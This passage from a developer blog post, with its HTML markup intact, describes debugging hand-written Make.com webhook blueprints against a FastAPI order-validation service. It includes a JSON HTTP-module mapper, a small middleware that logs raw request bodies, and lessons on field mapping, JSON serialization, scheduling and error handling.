&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="nl"&gt;"mapper"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"url"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"https://YOUR-SERVICE-HOST/orders/validate"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"method"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"post"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"headers"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"name"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Content-Type"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"value"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"application/json"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}],&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"data"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"{&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;order_ref&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;: &lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;{{1.order_ref}}&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;, &lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;customer&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;: {{13.json}}, &lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;shipping_address&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;: {{14.json}}, &lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;shipping_method&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;: &lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;{{1.shipping_method}}&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;, &lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;lines&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;: {{12.json}}}"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"serializeUrl"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"shareCookies"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"rejectUnauthorized"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"followRedirect"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"followAllRedirects"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"useQuerystring"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"gzip"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"useMtls"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Keep that block. It is the difference between a blueprint that imports and a blueprint that runs.&lt;/p&gt;

&lt;h2&gt;
  
  
  2. &lt;code&gt;{{1.body}}&lt;/code&gt; does not exist, and the failure mode is silence
&lt;/h2&gt;

&lt;p&gt;I had written the webhook mappings the way anyone with HTTP reflexes would: the webhook receives a POST, so the payload must live in &lt;code&gt;{{1.body}}&lt;/code&gt;. It does not. Make's custom webhook parses the incoming JSON and exposes the fields at the top level of the module output: &lt;code&gt;{{1.order_ref}}&lt;/code&gt;, &lt;code&gt;{{1.shipping_method}}&lt;/code&gt;. There is no &lt;code&gt;body&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;And here is the part that costs hours: referencing a path that does not exist is not an error in Make. It renders as empty. Silently. My service received &lt;code&gt;b''&lt;/code&gt; first (the whole body reference resolved to nothing), and after a partial fix, the literal string &lt;code&gt;null&lt;/code&gt;. To the validator those looked like genuinely broken requests, so it did its job and reported them as such, which pointed me at the wrong suspect. I went through the service looking for a bug that was not there. The service was fine. The bug was an absence.&lt;/p&gt;

&lt;h2&gt;
  
  
  The ten lines that ended the guessing
&lt;/h2&gt;

&lt;p&gt;What broke the loop was not reading the scenario harder. It was logging what actually crossed the wire:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;fastapi&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;FastAPI&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Request&lt;/span&gt;

&lt;span class="n"&gt;app&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;FastAPI&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

&lt;span class="nd"&gt;@app.middleware&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;http&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;log_raw_body&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Request&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;call_next&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;body&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;body&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;method&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; raw=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;body&lt;/span&gt;&lt;span class="si"&gt;!r}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;call_next&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Behind a tunnel, this is a complete diagnostic rig for a visual tool. Every mapping experiment in the canvas shows up seconds later as the exact bytes it produced. My terminal reads like a fever chart of the session: &lt;code&gt;raw=b''&lt;/code&gt;, then &lt;code&gt;raw=b'null'&lt;/code&gt;, then a perfect payload. Once I could see what Make sent instead of inferring it from downstream symptoms, every remaining bug fell in minutes.&lt;/p&gt;

&lt;h2&gt;
  
  
  3. Collections do not serialize into text fields
&lt;/h2&gt;

&lt;p&gt;Next, the ops-alert branch. When validation fails, the scenario posts an alert carrying the list of gaps, and I mapped the gaps array straight into the raw JSON body of that request. Make rendered the collection as text, inside the quotes it happened to land in, and produced a body that was no longer JSON. The endpoint said 422, and it was right to.&lt;/p&gt;

&lt;p&gt;A collection mapped into a text field does not become JSON. It becomes a string shaped like whatever Make's text rendering of that collection is, which inside a hand-built JSON body is a syntax error.&lt;/p&gt;

&lt;p&gt;Two fixes, both in the final blueprints: run each collection through a JSON &amp;gt; Transform to JSON module and embed the result without surrounding quotes (&lt;code&gt;{{12.json}}&lt;/code&gt;, not &lt;code&gt;"{{12.json}}"&lt;/code&gt;), or keep alert bodies scalar-only (&lt;code&gt;gap_count&lt;/code&gt; instead of the gaps array). Look back at the mapper above and you can see both rules at work: webhook scalars quoted, collections embedded bare.&lt;/p&gt;

&lt;h2&gt;
  
  
  4. The default schedule is a 15-minute tick
&lt;/h2&gt;

&lt;p&gt;The scenario worked. Then it appeared to die. I sent test events and nothing happened. No error, no execution, no log line. Nothing.&lt;/p&gt;

&lt;p&gt;Make's default schedule runs a scenario every 15 minutes. A webhook trigger without "Immediately as data arrives" queues events silently until the next tick. To anyone watching, a perfectly healthy integration looks down for up to fourteen minutes at a stretch. One dropdown. Nothing broken. This is the incident titled "the integration stopped working" that resolves itself before anyone finishes triaging it.&lt;/p&gt;

&lt;h2&gt;
  
  
  What the wire showed when it all worked
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Flaa10vfeh0s6l2pexujv.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Flaa10vfeh0s6l2pexujv.gif" alt="Three webhook events decided and routed: a clean order created at the 3PL, a broken order alerted with seven named gaps, a typo'd shipping method held for a human with a ranked candidate" width="720" height="405"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Every decision, reason, gap and score above is taken verbatim from the live runs described in this post.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Three routes, executed live through the imported scenario, values as returned:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;A clean order came back &lt;code&gt;VALID&lt;/code&gt; with 15 checks passed, the shipping method mapped &lt;code&gt;MAPPED_EXACT&lt;/code&gt; to &lt;code&gt;SM-STD-01&lt;/code&gt;, and the order was created at the 3PL. The happy path nobody writes posts about.&lt;/li&gt;
&lt;li&gt;A broken order came back &lt;code&gt;INVALID&lt;/code&gt; with the reason &lt;code&gt;7 gap(s) found, 8 check(s) passed&lt;/code&gt; (the same 15 checks, now split), and routed to the ops alert with &lt;code&gt;gap_count&lt;/code&gt; 7. The router branched on &lt;code&gt;decision&lt;/code&gt;; the reason string went into the alert text unchanged.&lt;/li&gt;
&lt;li&gt;An order with the shipping method typed as "parcel" scored 0.60 on fuzzy match, below the 0.85 floor, so the service returned &lt;code&gt;UNMAPPED&lt;/code&gt; with one ranked candidate and the reason &lt;code&gt;returning 1 candidate(s) for human review instead of guessing&lt;/code&gt;. The scenario put the order on hold for a human.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;That last route is the whole argument. A visual flow will route a wrong guess with the same confidence as a right one. The refusal to guess has to come from somewhere with a test suite.&lt;/p&gt;

&lt;h2&gt;
  
  
  The outage I did not schedule
&lt;/h2&gt;

&lt;p&gt;Mid-session, cloudflared dropped the tunnel for real. Cloudflare error 1033, service unreachable. The &lt;code&gt;Break&lt;/code&gt; error handler on the HTTP module (current Make docs call the directive Retry; the blueprint directive is still &lt;code&gt;builtin:Break&lt;/code&gt;) parked the execution in Incomplete Executions with its mappings intact. Nothing lost, nothing half-applied, one click away from resolving once the service was reachable again. The exact failure mode this design exists to survive walked in unannounced, and the pattern held. I could not have scripted a better demo, and for once I didn't.&lt;/p&gt;

&lt;h2&gt;
  
  
  What this does not tell you
&lt;/h2&gt;

&lt;p&gt;The middleware shows what arrives, not what Make intended. A mapping bug that happens to produce valid-shaped JSON with wrong values sails through both the wire log and the schema check. The semantic checks still have to live in the service.&lt;/p&gt;

&lt;p&gt;None of this makes Make the villain. The event queue, the retry policy, the incomplete-executions safety net are better than what most hand-rolled webhook consumers ship. That is exactly why the routing belongs there, and the deciding does not.&lt;/p&gt;

&lt;p&gt;Hand-writing blueprints is a real trade. The canvas would have filled those eight HTTP parameters for me and I would never have met &lt;code&gt;BundleValidationError&lt;/code&gt;. I pay that tax to get scenarios in git with reviewable diffs. If you do not need the diff, click the modules.&lt;/p&gt;

&lt;p&gt;And every Transform to JSON module is one more operation on every run, which is the unit Make bills in. Scalar alert bodies are not just simpler. They are cheaper.&lt;/p&gt;

&lt;p&gt;The service, both importable blueprints with all eight parameters already in place, and these lessons written down live at &lt;a href="https://github.com/vinimabreu/make-failsafe" rel="noopener noreferrer"&gt;github.com/vinimabreu/make-failsafe&lt;/a&gt;, mostly so I never rediscover any of this at 2 a.m.&lt;/p&gt;

&lt;p&gt;The flow routes, the service decides, and the wire is the only place where both of them tell the truth.&lt;/p&gt;

</description>
      <category>automation</category>
      <category>debugging</category>
      <category>python</category>
      <category>webdev</category>
    </item>
  </channel>
</rss>
